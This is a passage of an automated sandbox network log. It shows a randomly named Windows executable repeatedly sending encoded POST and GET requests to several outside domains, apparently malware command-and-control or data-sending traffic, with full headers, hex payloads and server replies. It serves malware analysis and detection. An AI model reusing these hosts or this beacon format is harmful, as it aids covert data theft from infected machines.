Nov 7, 2024 12:51:00.434825897 CET	1803	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 57 59 52 4b 6d 61 70 6a 4c 65 4d 45 62 6c 62 39 6c 54 58 31 49 4a 55 7a 4d 39 43 7a 53 6b 44 38 76 76 36 48 4b 76 62 57 75 50 43 44 47 6b 54 6a 67 2b 51 50 36 32 36 65 34 31 4f 33 6f 4d 48 6c 75 61 71 36 57 45 30 79 37 33 67 72 6d 59 65 6c 78 4a 53 72 49 50 6d 71 4c 6f 68 6f 36 50 66 6b 72 49 66 79 41 6e 35 66 72 63 38 6c 67 6c 59 61 4d 47 46 49 6c 33 6f 52 61 63 2f 6b 73 7a 31 59 67 7a 68 41 4f 6f 6c 34 70 34 43 66 58 48 55 58 4f 62 31 48 69 37 76 54 51 55 71 51 4f 70 66 4b 56 57 53 70 52 7a 71 64 64 32 30 62 56 76 34 2b 4e 66 50 31 38 32 61 4d 79 4f 79 44 69 33 4e 6d 62 57 6d 6a 6d 30 56 74 4e 69 63 63 54 4b 46 4e 42 69 4a 38 56 51 75 4a 2f 72 75 4a 6d 69 68 68 72 6e 6f 34 6a 33 5a 78 57 78 58 74 34 56 67 32 51 6a 36 47 2f 78 70 72 78 31 5a 77 4d 62 34 70 53 35 4b 56 62 62 48 58 51 4d 6e 30 45 43 66 62 4c 70 74 44 73 4d 46 4a 4e 49 56 38 32 4e 62 43 45 4f 55 43 34 52 7a 78 41 65 67 6a 48 31 61 4e 59 6d 57 73 65 39 70 53 6f 2f 47 68 6d 41 59 49 4b [TRUNCATED] Data Ascii: E2fH=Bd4/G8jKKbfTWYRKmapjLeMEblb9lTX1IJUzM9CzSkD8vv6HKvbWuPCDGkTjg+QP626e41O3oMHluaq6WE0y73grmYelxJSrIPmqLoho6PfkrIfyAn5frc8lglYaMGFIl3oRac/ksz1YgzhAOol4p4CfXHUXOb1Hi7vTQUqQOpfKVWSpRzqdd20bVv4+NfP182aMyOyDi3NmbWmjm0VtNiccTKFNBiJ8VQuJ/ruJmihhrno4j3ZxWxXt4Vg2Qj6G/xprx1ZwMb4pS5KVbbHXQMn0ECfbLptDsMFJNIV82NbCEOUC4RzxAegjH1aNYmWse9pSo/GhmAYIK6UKEMSamp08b7jI3veIAPAsYEAmMY17Qil4pvgsZcKqfBRbDmcp24qnIiUmKYvFvH76wFEWr4gWEa52skNLS6hpHLOLutwPlsqb63p81HphsCGWuj/yuFC+BVW3yAF+M05sYTo5yiipSw4UJSHcCgGSpBJvbnE3CnKVxCNw5LjizDEFkknNOLmYvSNOC2b1NnIWsm9dwwTcJ4rlf2uu2rNTFVpLHaP8rsNd3wvz64eNEOK3C91/lFZrPYUTyN6TMHEEIiDynZ3sNm1KPwYMX2jozwyAk6q8+o4lU77JlmQ3jgKkFTQ1TDOkdFAELt16+PkqH+ig07Alf10Ahuu8LaurnwqY6JIjb6dfH8ELW1NwfFJzhxeAVLlKXl352H7kXOFVF7mfjEZ4VwXg+5J0fExm1W9u12FbgG3D3aH3bTaYT/Z0OojkQ9csIa1hq1ktjUP0xXdL0N1yJ6GTp5XnNEedGbmY6uQYSpQrmjd0fk3iRIjrhp37D31s9mvHgbnliFyMimBTdrJPZsq71sa/fCIuk4VFoFULp6G592h9IVjo6wB7QjpxuA9kzeUKwPmbH0ligfpJ8wyKBuU6JZApsokn1xMVRHtbAzTr3YuND6gFoMJYYetDmprjN66QGEWm9GuS61IIpzBqCPpPTmfPIFSOpAFx8Fl+fuM [TRUNCATED]
Nov 7, 2024 12:51:01.362874031 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 07 Nov 2024 11:51:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.11	49991	43.155.76.124	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:02.981317043 CET	507	OUT	GET /mwey/?E2fH=MfQfFJDPdY3qb8NLnrdcDJpYPHfxpTXjAJliBdfQUirEsMDdNOfprM6NKVyFnMdsrhyN3Xipksjr8oWhdXIF3hEAzoib07ipH8eMCJ1r7rTAiO3GAXotnuA=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:51:03.931895971 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 07 Nov 2024 11:51:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.11	49992	185.151.30.221	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:09.239365101 CET	770	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 67 6e 55 4e 4a 6b 4f 45 35 4c 47 69 65 69 63 47 38 65 6e 68 41 46 43 51 5a 34 70 47 59 6e 38 77 76 5a 4c 35 52 35 65 47 34 42 61 35 55 78 45 73 6f 39 52 79 51 42 4c 30 54 53 62 66 75 67 2b 58 49 52 78 6c 4b 36 56 39 6e 36 36 6d 66 36 6f 48 58 4c 51 37 5a 49 4e 41 56 77 6e 68 74 7a 63 56 64 4e 58 70 7a 4c 39 38 6e 32 65 39 67 79 36 79 35 72 5a 51 6a 4a 30 70 48 63 63 64 6b 70 42 76 78 41 75 63 56 6c 6e 4d 67 72 59 5a 6b 6b 44 63 4c 57 52 71 50 2b 45 69 44 78 6e 61 2b 4b 66 7a 63 48 35 5a 78 4d 53 4e 32 76 55 51 39 56 43 74 30 77 42 41 53 41 3d 3d Data Ascii: E2fH=yDukvta1p4O+gnUNJkOE5LGieicG8enhAFCQZ4pGYn8wvZL5R5eG4Ba5UxEso9RyQBL0TSbfug+XIRxlK6V9n66mf6oHXLQ7ZINAVwnhtzcVdNXpzL98n2e9gy6y5rZQjJ0pHccdkpBvxAucVlnMgrYZkkDcLWRqP+EiDxna+KfzcH5ZxMSN2vUQ9VCt0wBASA==
Nov 7, 2024 12:51:10.419018984 CET	110	IN	HTTP/1.1 301 content-length: 0 location: https://www.pegji.online/d2v9/ x-via: LAX1 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.11	49993	185.151.30.221	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:11.815804958 CET	790	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 36 47 6b 4e 50 46 4f 45 37 72 47 74 52 43 63 47 32 2b 6e 6c 41 46 4f 51 5a 36 45 64 5a 52 55 77 76 39 48 35 51 34 65 47 37 42 61 35 62 52 45 54 31 74 51 2b 51 42 48 4e 54 51 50 66 75 67 71 58 49 56 31 6c 4b 4a 39 2b 6e 71 36 34 4b 71 6f 46 59 72 51 37 5a 49 4e 41 56 77 43 4b 74 7a 45 56 65 38 48 70 79 75 64 2f 76 57 65 38 32 69 36 79 76 72 59 5a 6a 4a 30 62 48 65 6f 6e 6b 71 31 76 78 41 65 63 45 55 6e 44 76 72 59 66 71 45 44 50 45 6b 41 64 45 4e 35 32 48 48 76 58 38 62 62 4e 51 68 6f 44 68 76 62 61 31 38 63 53 70 7a 6a 64 39 42 6b 4a 4a 47 56 58 2f 52 32 72 42 4b 7a 2f 73 35 4b 59 67 67 6b 2f 50 32 55 3d Data Ascii: E2fH=yDukvta1p4O+6GkNPFOE7rGtRCcG2+nlAFOQZ6EdZRUwv9H5Q4eG7Ba5bRET1tQ+QBHNTQPfugqXIV1lKJ9+nq64KqoFYrQ7ZINAVwCKtzEVe8Hpyud/vWe82i6yvrYZjJ0bHeonkq1vxAecEUnDvrYfqEDPEkAdEN52HHvX8bbNQhoDhvba18cSpzjd9BkJJGVX/R2rBKz/s5KYggk/P2U=
Nov 7, 2024 12:51:12.975219011 CET	110	IN	HTTP/1.1 301 content-length: 0 location: https://www.pegji.online/d2v9/ x-via: LAX1 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.11	49994	185.151.30.221	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:14.376955032 CET	1803	OUT	POST /d2v9/ HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.pegji.online Referer: http://www.pegji.online/d2v9/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 79 44 75 6b 76 74 61 31 70 34 4f 2b 36 47 6b 4e 50 46 4f 45 37 72 47 74 52 43 63 47 32 2b 6e 6c 41 46 4f 51 5a 36 45 64 5a 52 73 77 76 49 62 35 52 62 32 47 30 68 61 35 53 78 45 6f 31 74 51 33 51 43 32 46 54 51 54 50 75 6a 53 58 49 77 68 6c 44 59 39 2b 74 71 36 34 56 61 6f 45 58 4c 51 75 5a 49 63 49 56 77 53 4b 74 7a 45 56 65 2b 76 70 31 37 39 2f 70 57 65 39 67 79 36 41 35 72 5a 77 6a 4a 73 4c 48 65 38 33 6b 63 46 76 78 67 4f 63 47 43 4c 44 6d 72 59 64 70 45 43 53 45 6b 4d 43 45 4a 5a 36 48 48 7a 78 38 62 54 4e 41 67 4e 43 33 76 57 4e 73 4e 6f 64 37 6a 6d 2f 34 54 74 4b 42 32 56 53 32 54 47 75 65 74 6a 68 68 34 6e 32 6c 77 4d 46 55 67 76 54 4a 77 44 2f 2f 4a 4a 64 33 4b 74 6b 58 49 61 34 46 6e 35 4b 53 6c 49 66 43 62 73 32 59 55 54 41 62 7a 2b 51 4e 6b 38 62 6d 64 6d 53 2b 54 4b 36 67 56 44 52 74 64 73 41 38 53 4d 59 49 53 57 61 59 62 4d 75 38 41 30 6d 36 6a 49 59 62 49 7a 54 6b 43 69 4a 57 50 44 5a 76 69 6e 69 6c 71 4a 41 4d 6a 4f 65 73 71 54 6a 75 62 7a 59 4e 78 75 6e 55 70 45 4a 58 [TRUNCATED] Data Ascii: E2fH=yDukvta1p4O+6GkNPFOE7rGtRCcG2+nlAFOQZ6EdZRswvIb5Rb2G0ha5SxEo1tQ3QC2FTQTPujSXIwhlDY9+tq64VaoEXLQuZIcIVwSKtzEVe+vp179/pWe9gy6A5rZwjJsLHe83kcFvxgOcGCLDmrYdpECSEkMCEJZ6HHzx8bTNAgNC3vWNsNod7jm/4TtKB2VS2TGuetjhh4n2lwMFUgvTJwD//JJd3KtkXIa4Fn5KSlIfCbs2YUTAbz+QNk8bmdmS+TK6gVDRtdsA8SMYISWaYbMu8A0m6jIYbIzTkCiJWPDZvinilqJAMjOesqTjubzYNxunUpEJXHY2CIKTHXAF0R4U1FZgUsEWq937kXH8ldVTXvQP6JhSKxKQKs6O3Q7KU4wlZ5/V5MsAfHopB7Z2oa0wolTN9wF4Oy+GxbMUfBRNjx9NrelM30edNp77Xm4D2etkXMwzmaQ/tE099onoSUSeGM+3k1fFzhDM2kkJv/EORHMftS1WJeyEDAfKXlDtY+48Py+0AcxEXk2GehJmo0P8OKwPj/HJEvc3MMxxlR8RAr1DCDZ2nr+JuBGgIOSW+kbFb83bHcRlWSZIkh6szN/5X2ZIITpTNq1JvInrF+oK5I7Rwv8qyAWYuvDn+BcdoVWxWhWCUs/tnvGleZrR15TMTfk4VIQnbxPiEtXDTVHVjsgyZDJRzG+LSJ/w2GT3Qn4sGV2apZgxrezAiX6aH4wkrJxxTVRNeu9OqNk6t/juw+4+M0t7ge3SNvSMHtno7F0SY8T21RYJ3T7OIEkK6WhLkbKCJaipk6cV3JLRZxr/XkGtJu7MTZ/I6/anMnad2z6SULahcH8fF+EbcakiiQdht3nAVk5yoVaXTPx48WOjotuiNnvaYvtDJrmWQhQL/geW86aLaBp/w0AyqgdS2zj7aS1V4Ijdnuf1NTGiIu4/20VxZ5p0xryVyECm7156iQPYUdLylCt9CecBTPPMdrISsOi2Uz9MJ32w9T9CQZA [TRUNCATED]
Nov 7, 2024 12:51:15.556873083 CET	110	IN	HTTP/1.1 301 content-length: 0 location: https://www.pegji.online/d2v9/ x-via: LAX1 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.11	49995	185.151.30.221	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:16.917340994 CET	507	OUT	GET /d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+j8KfdNkYSpcxUYd9Chya6UgFWZTzxsRjmxM= HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:51:18.079231024 CET	317	IN	HTTP/1.1 301 date: Thu, 07 Nov 2024 11:51:10 GMT content-length: 0 location: https://www.pegji.online/d2v9/?wZY4Z=9tG860z8qzo&E2fH=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+j8KfdNkYSpcxUYd9Chya6UgFWZTzxsRjmxM= x-cdn-cache-status: MISS x-via: LAX1 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	49996	217.160.0.93	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:23.203380108 CET	776	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 4a 43 4d 44 2b 47 73 31 5a 74 73 79 47 72 6e 76 33 71 6c 56 38 63 67 41 34 65 5a 66 41 30 4f 61 30 2b 68 45 58 72 6f 4b 41 6e 70 6a 53 63 30 51 69 35 30 55 7a 54 2b 75 30 6c 2b 58 76 77 2f 57 34 64 6f 44 70 4d 5a 46 6d 32 6b 46 38 54 6e 6f 6c 76 45 50 33 51 43 76 71 63 72 37 44 4e 35 63 59 64 41 62 42 78 68 6f 58 55 62 64 63 6c 57 75 39 55 62 77 71 43 47 4c 56 2f 34 45 46 76 78 56 78 34 69 47 51 4e 68 68 36 72 73 53 59 43 71 4d 75 38 49 37 63 69 6f 58 6f 6f 62 63 43 54 69 45 75 54 4d 44 35 4e 52 2f 55 71 77 4b 74 44 72 62 43 58 74 55 35 77 3d 3d Data Ascii: E2fH=OpWA8h6sv4ajJCMD+Gs1ZtsyGrnv3qlV8cgA4eZfA0Oa0+hEXroKAnpjSc0Qi50UzT+u0l+Xvw/W4doDpMZFm2kF8TnolvEP3QCvqcr7DN5cYdAbBxhoXUbdclWu9UbwqCGLV/4EFvxVx4iGQNhh6rsSYCqMu8I7cioXoobcCTiEuTMD5NR/UqwKtDrbCXtU5w==
Nov 7, 2024 12:51:24.100394011 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 11:51:23 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	49997	217.160.0.93	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:51:25.749887943 CET	796	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 59 54 38 44 37 68 59 31 62 4e 73 78 4e 4c 6e 76 39 4b 6c 52 38 64 63 41 34 66 4e 50 41 43 65 61 31 65 78 45 47 66 38 4b 4f 48 70 6a 61 38 30 52 38 4a 30 66 7a 53 43 6d 30 6b 43 58 76 77 62 57 34 63 59 44 70 2f 42 61 70 47 6b 44 70 44 6e 6d 6f 50 45 50 33 51 43 76 71 64 50 52 44 4d 52 63 59 74 77 62 41 51 68 70 65 30 62 61 4b 31 57 75 35 55 61 37 71 43 48 59 56 36 52 6a 46 74 35 56 78 36 36 47 54 5a 31 69 76 62 73 55 57 69 72 6f 69 4f 55 2b 5a 78 68 6c 78 59 50 2b 4f 68 6d 2b 6d 31 64 5a 70 75 59 6f 58 35 34 49 35 6c 4b 72 4c 6d 49 64 69 32 4d 6f 30 6d 49 44 54 36 61 53 42 6c 57 6c 68 64 2b 7a 56 36 67 3d Data Ascii: E2fH=OpWA8h6sv4ajYT8D7hY1bNsxNLnv9KlR8dcA4fNPACea1exEGf8KOHpja80R8J0fzSCm0kCXvwbW4cYDp/BapGkDpDnmoPEP3QCvqdPRDMRcYtwbAQhpe0baK1Wu5Ua7qCHYV6RjFt5Vx66GTZ1ivbsUWiroiOU+ZxhlxYP+Ohm+m1dZpuYoX54I5lKrLmIdi2Mo0mIDT6aSBlWlhd+zV6g=
Nov 7, 2024 12:51:26.582765102 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 11:51:26 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

